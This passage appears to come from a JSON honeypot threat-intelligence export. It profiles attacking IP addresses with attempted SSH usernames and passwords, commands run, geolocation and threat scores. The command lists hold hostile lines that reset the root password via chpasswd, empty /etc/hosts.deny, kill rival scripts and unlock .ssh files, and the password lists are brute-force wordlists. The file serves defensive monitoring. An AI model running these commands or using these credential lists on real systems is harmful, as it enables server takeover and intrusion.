        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0uE8yhvrqUy2\"|chpasswd|bash",
        "echo \"root:1Oll1Pop2w3V\"|chpasswd|bash",
        "echo \"root:BeW9IFlxe9AR\"|chpasswd|bash",
        "echo \"root:EJIa3Eu7Sucu\"|chpasswd|bash",
        "echo \"root:s7cfTToct15d\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 674,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:23:30.182000+00:00",
        "last_seen_30d": "2026-05-18T23:35:36.941000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 555,
        "Suricata": 119
      }
    },
    "2.57.122.210": {
      "attack_count": 523,
      "first_seen": "2026-05-04T08:09:03.498Z",
      "last_seen": "2026-05-08T22:47:00.429Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "solana",
        "root",
        "firedancer",
        "bot",
        "eigen",
        "eigenlayer",
        "evm",
        "minima",
        "node",
        "raydium",
        "sniper",
        "stake",
        "test",
        "testing123",
        "trader",
        "trading",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "validator",
        "1",
        "123456",
        "eigenlayer",
        "solana",
        "12345678",
        "elayer",
        "firedancer",
        "stake",
        "ubuntu",
        "!@#$%^",
        "!@#$qazwsxedc",
        "123",
        "1234",
        "12345",
        "1qaz!QAZ2wsx@WSX",
        "1qaz2wsx3edc",
        "1qq2w3e4r5t",
        "4rfv$RFV",
        "ZXCVASDFQWER2!@#$"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 783,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:44:40.862000+00:00",
        "last_seen_30d": "2026-05-08T22:48:02.578000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 523,
        "Suricata": 260
      }
    },
    "49.51.179.91": {
      "attack_count": 430,
      "first_seen": "2026-05-16T15:27:03.877Z",
      "last_seen": "2026-05-16T16:32:40.047Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "furukawa",
        "admin",
        "administrator",
        "alan",
        "art",
        "db2fenc1",
        "deployer",
        "esunny",
        "infra",
        "issabel",
        "kafka",
        "lcx",
        "mostafa",
        "openproject",
        "sammy",
        "steam",
        "student3",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "20192019",
        "warnightkardesim",
        "0708228AsBs!",
        "111111",
        "123123",
        "123123123123",
        "123456789**",
        "123456@Abc",
        "123@123",
        "1QAZ2wsx",
        "ASDqwe123",
        "Aa1234!@#$",
        "Aa123456!@#",
        "Itsemoemo2024@Washere2024",
        "Lf123456",
        "Qwerty1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"furukawa\\nyQYwKcQBHxNg\\nyQYwKcQBHxNg\\n\"|passwd",
        "echo \"root:UyYOnZvvYG5T\"|chpasswd|bash",
        "echo \"root:WXcUpcAf0nRn\"|chpasswd|bash",
        "echo -e \"furukawa\\nyQYwKcQBHxNg\\nyQYwKcQBHxNg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 544,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:27:03.877000+00:00",
        "last_seen_30d": "2026-05-16T16:33:40.510000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 114
      }
    },
    "186.147.162.215": {
      "attack_count": 382,
      "first_seen": "2026-05-17T04:42:34.872Z",
      "last_seen": "2026-05-17T05:12:59.932Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1987",
        "20192019",
        "2wsx#EDC",
        "88888888",
        "Asd123456",
        "Hola123",
        "Test@123",
        "b0ll0ck5",
        "ddd!@#$%^&",
        "dhis",
        "golden",
        "johnny",
        "kundan",
        "pa55word",
        "plunga471",
        "postgresql",
        "qwerty1234567890",
        "redhat@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7ES1Fyc4z6cq\"|chpasswd|bash",
        "echo \"root:ErYzQHZTFlLm\"|chpasswd|bash",
        "echo \"root:lTalOgLFkK8T\"|chpasswd|bash",
        "echo \"root:wBFI1dDcgZSp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:42:34.872000+00:00",
        "last_seen_30d": "2026-05-17T05:14:03.015000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 66
      }
    },
    "170.106.199.33": {
      "attack_count": 309,
      "first_seen": "2026-05-19T11:59:37.706Z",
      "last_seen": "2026-05-19T12:21:06.990Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100100",
        "1925",
        "1qaz2wsx!@#",
        "Admin2023!",
        "Qaz123123",
        "aaa123456",
        "claude",
        "connie",
        "developer1",
        "gituser",
        "knight",
        "lance",
        "mac",
        "panasonic",
        "poipoi",
        "qq5201314",
        "qwe123asd456",
        "s1s2s3s4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RNOysmyDs6ye\"|chpasswd|bash",
        "echo \"root:nk11ykZNBQuD\"|chpasswd|bash",
        "echo \"root:r3yyZFZMz67d\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:59:37.706000+00:00",
        "last_seen_30d": "2026-05-19T12:22:07.403000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 58
      }
    },
    "43.159.39.191": {
      "attack_count": 309,
      "first_seen": "2026-05-18T23:03:52.455Z",
      "last_seen": "2026-05-18T23:31:48.158Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456a@",
        "321123",
        "Dr123456",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "claude",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "mircea",
        "nao",
        "ncc1701"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3xg0Urai9Rar\"|chpasswd|bash",
        "echo \"root:sUOxWc7dQnT0\"|chpasswd|bash",
        "echo \"root:vzqlrGLMykvD\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:03:52.455000+00:00",
        "last_seen_30d": "2026-05-18T23:32:48.739000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "45.143.200.246": {
      "attack_count": 281,
      "first_seen": "2026-05-21T23:42:16.824Z",
      "last_seen": "2026-05-22T00:26:43.181Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testuser",
        "username",
        "ghost",
        "lee",
        "mc",
        "mustafa"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "Admin123456!",
        "Admin@2025",
        "Deneme123",
        "Work@123",
        "chen123456",
        "docker",
        "mustafa",
        "qwer!@#1234",
        "testuser@123",
        "zxcASD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nwg16ne8LHttB\\nwg16ne8LHttB\\n\"|passwd",
        "echo \"root:oIl5JbL93HKp\"|chpasswd|bash",
        "echo \"testuser@123\\nGWeVH4VMRRvL\\nGWeVH4VMRRvL\\n\"|passwd",
        "echo -e \"123\\nwg16ne8LHttB\\nwg16ne8LHttB\"|passwd|bash",
        "echo -e \"testuser@123\\nGWeVH4VMRRvL\\nGWeVH4VMRRvL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:42:16.824000+00:00",
        "last_seen_30d": "2026-05-22T00:27:44.690000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 50
      }
    },
    "91.92.199.36": {
      "attack_count": 281,
      "first_seen": "2026-05-16T02:39:56.401Z",
      "last_seen": "2026-05-16T03:21:48.494Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "linux",
        "pakchoi",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "warnight",
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "Jj123456",
        "Kermit123@",
        "News@123",
        "Push@8240",
        "aa123456789",
        "abcd@4321",
        "fuser",
        "games",
        "india123",
        "nikolas",
        "orangepi",
        "ph03n1x",
        "qaz123!@#",
        "qazWSXedcrfv",
        "qazxswedc",
        "root@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IRItsh9Qhog8\"|chpasswd|bash",
        "echo \"root:QRSuOTc4ccJm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 34224,
      "as_org": "Neterra Ltd.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:39:56.401000+00:00",
        "last_seen_30d": "2026-05-16T03:22:51.624000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 74
      }
    },
    "144.31.133.255": {
      "attack_count": 246,
      "first_seen": "2026-05-16T17:56:00.792Z",
      "last_seen": "2026-05-16T18:28:47.220Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qwe",
        "0o9i8u7y",
        "20192019",
        "Server@1234",
        "admin12345",
        "azertyuiop",
        "carina",
        "freedom",
        "haha12345",
        "hansolo",
        "killemall",
        "liguo!987",
        "lydie",
        "qawsed",
        "spamfilter",
        "sybasepass",
        "tmproot",
        "warnightkardesim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:WpMwghAsx0M4\"|chpasswd|bash",
        "echo \"root:xig0DofBVJbP\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 210546,
      "as_org": "Chsl One Ltd",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:56:00.792000+00:00",
        "last_seen_30d": "2026-05-16T18:29:56.595000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 59
      }
    },
    "57.128.218.144": {
      "attack_count": 238,
      "first_seen": "2026-05-15T03:30:25.509Z",
      "last_seen": "2026-05-17T20:40:35.258Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123@123",
        "1910",
        "QWERTY123",
        "Welcome@2024",
        "admiN123",
        "centos123456",
        "dagobert",
        "letmein",
        "luyouqi",
        "maverick",
        "msi",
        "node123456",
        "pa$$word01",
        "password1111",
        "qwe",
        "rauls",
        "student",
        "thoughtpolice"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:atSFLBDJcQv4\"|chpasswd|bash",
        "echo \"root:wTsVUKYRdNNX\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:30:25.509000+00:00",
        "last_seen_30d": "2026-05-17T20:41:41.210000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "43.173.122.127": {
      "attack_count": 236,
      "first_seen": "2026-05-17T12:15:34.629Z",
      "last_seen": "2026-05-17T12:46:26.158Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "113",
        "4r3e2w1q",
        "8675309",
        "QAZ!@#123",
        "ZXCasdQWE",
        "amir123",
        "anders",
        "boston",
        "canada",
        "costas",
        "damian01",
        "elevator",
        "gerbera",
        "httpfs",
        "huawei123",
        "oracleadmin",
        "password@1",
        "qwer1234%^"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:MCcEkPIuLQXi\"|chpasswd|bash",
        "echo \"root:wY2geKMTcp4L\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:15:34.629000+00:00",
        "last_seen_30d": "2026-05-17T12:47:33.673000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "157.15.67.253": {
      "attack_count": 221,
      "first_seen": "2026-05-19T14:17:53.938Z",
      "last_seen": "2026-05-19T14:41:34.336Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678a",
        "19071907",
        "1qasw2",
        "28011980",
        "boss",
        "claude",
        "csp",
        "dina123",
        "ftpuser2",
        "ghani",
        "huang",
        "mailadmin",
        "moon123",
        "sniper!@#$sniper",
        "tango12",
        "www.163.com",
        "yq@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:TPmpEeefuImi\"|chpasswd|bash",
        "echo \"root:f5J721stQADi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tulungagung",
      "asn": 152377,
      "as_org": "PT Trimitra Aditama Koneksindo",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
